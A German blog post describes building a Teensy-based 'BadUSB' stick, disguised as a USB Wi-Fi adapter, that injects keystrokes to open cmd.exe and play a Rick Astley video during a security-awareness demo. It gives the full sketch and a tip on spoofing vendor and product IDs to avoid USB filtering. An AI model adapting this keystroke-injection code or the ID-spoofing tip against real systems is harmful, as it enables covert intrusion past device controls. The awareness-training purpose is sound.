Rickrolling via USB

Sogenannte „BadUSB“-Attacken sind seit langer Zeit bekannt, doch kommt es immer wieder – auch gerade im Unternehmensumfeld – vor, dass Anwender gefundene oder auf Messen geschenkte USB-Sticks an ihre Computer anschließen. Dass ein USB-Gerät nicht immer das ist, wonach es von außen aussieht, interessiert die wenigsten und so habe ich als Vorbereitung auf eine Awareness-Maßnahme zum Thema IT-Security meinen eigenen zweckentfremdeten USB-Stick gebaut.

Ursprünglich wollte ich einen der im Rahmen von Karsten Nohls Veröffentlichungen bekannt gewordenen Chipsätze verwenden und umprogrammieren, doch konnte ich nicht sonderlich zuverlässig einen solchen USB-Stick auftreiben. Ich habe mich danach entschlossen, einfach einen Teensy 2.0 zu bestellen, diesen als HID zu verwenden und in einem fremden Gehäuse unterzubringen.

Bei einer Awareness-Maßnahme im Bereich IT-Security muss es für den Zuschauer etwas verständliches geben. So können die wenigsten etwas damit anfangen, wenn sich nach dem Einstecken eines USB-Sticks ein „schwarzes Fenster“ öffnet, in dem irgendetwas steht. Ich habe mich deshalb entschieden, auf das altbewerte Rickrolling zurückzugreifen. Wird der USB-Stick an einem Windows-System angeschlossen, soll nach kurzer Zeit Rick Astley über den Bildschirm tanzen.

Die Programmierung für den Teensy ist hierzu nicht sonderlich kompliziert.

Zunächst lädt man sich eine ältere und von PJRC unterstützte Arduino-IDE (beispielsweise 1.6.9) auf der Projektseite (https://www.arduino.cc/en/Main/OldSoftwareReleases) herunter und konfiguriert Teensyduino entsprechend. Im Sketch müssen die folgenden Einstellungen getroffen werden:

  • Werkzeuge:
    • Board: Teensy 2.0
    • USB Type: Disk (internal) + Keyboard
    • Keyboard Layout: Deutsch

Wichtig hierbei ist, dass man sich bei der Auswahl des Keyboard-Layouts an dem Zielsystem orientiert, da es sonst zu falsch eingegeben Zeichen kommen kann. Nun braucht man nur noch den kurzen Code:

unsigned long PRE_DELAY=3000;

void setup() {
}

void loop() {
  // Let's wait a few seconds before starting
  delay(PRE_DELAY);
  // Unset all modifiers
  Keyboard.set_modifier(0);

  // Open the Windows menu via Ctrl+Esc
  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  Keyboard.set_key1(KEY_ESC);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  // Now open cmd.exe
  delay(1000);
  Keyboard.println("cmd.exe");
  delay(1000);
  // And let us roll...
  Keyboard.println("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" https://www.youtube.com/embed/DLzxrzFCyOs?autoplay=1");
  exit(0);
}

Das klappt alles wunderbar, doch ist so ein blanker Teensy für den Zuschauer nicht sonderlich eindrucksvoll. Ich habe dazu in den Ecken meines Arbeitszimmers gewühlt, um ein altes, nicht mehr benötigtes USB-Gerät zu finden. Dabei kam ein uralter USB-WLAN-Adapter zum Vorschein, der nun als Gehäuse herhalten sollte. Der Teensy hat leider nur eine Micro-USB-Buchse, doch mit dem mitgelieferten Kabel lässt sich fix – auch mit meinen mangelnden Lötfähigkeiten – ein geeigneter Adapter löten. Somit war die Materialliste komplett:

rickroll_material

rickroll_adapter

Nun stopft man alles wieder in die Hülle und hat einen schönen Effekt für eine Awareness-Veranstaltung:

rickroll_einbau

rickroll_proof

Zugegebener Weise ist die Konstruktion ein bisschen wackelig und ich überlege, ein besseres Gehäuse mit dem 3D-Drucker zu drucken, doch wenn man den Stick vorsichtig verwendet, sollte das für eine Veranschaulichung kein großes Problem darstellen.

 

Update 02.09.2016:

Falls die Anmerkung kommt, dass man ein solches Device anhand der Vendor bzw. Product ID filtern und entsprechend sperren kann, empfiehlt es sich, diese zu ändern. Dies lässt sich in folgender Datei manuell eintragen:

arduino-1.6.9/hardware/teensy/avr/cores/<usbtyp>/usb_private.h

Als Beispiel:

#define VENDOR_ID               0xDEAD
#define PRODUCT_ID              0xBEEF

Und dementsprechend wird der Stick dann auch hinterher im System angezeigt:
deadbeef

Falls jemand nicht weiß, welche IDs er eintragen soll, findet er hier eine große Liste von bekannten IDs.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.